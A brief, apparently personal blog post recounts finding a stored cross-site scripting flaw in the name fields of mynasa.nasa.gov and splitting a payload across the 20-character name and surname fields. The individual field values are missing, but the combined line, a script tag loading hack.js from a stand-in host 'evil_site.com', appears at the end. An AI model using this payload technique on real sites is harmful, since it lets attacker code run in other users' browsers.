On every stupid hackers movie the hackers should to be hacked the NASA computers at least one time, and I want to be a super-hacker.
I created an account on mynasa.nasa.gov and I discovered that they didn't use any kind of escape system for the name fields, the only thing that they do are not allow names or surnames with more length than 20 characters (OMG!!)
I created an account with the name:
And the surname:
Wen you do log-in on the site the name and the surname are showed together, building the next line:
<script src=" http://evil_site.com/hack.js">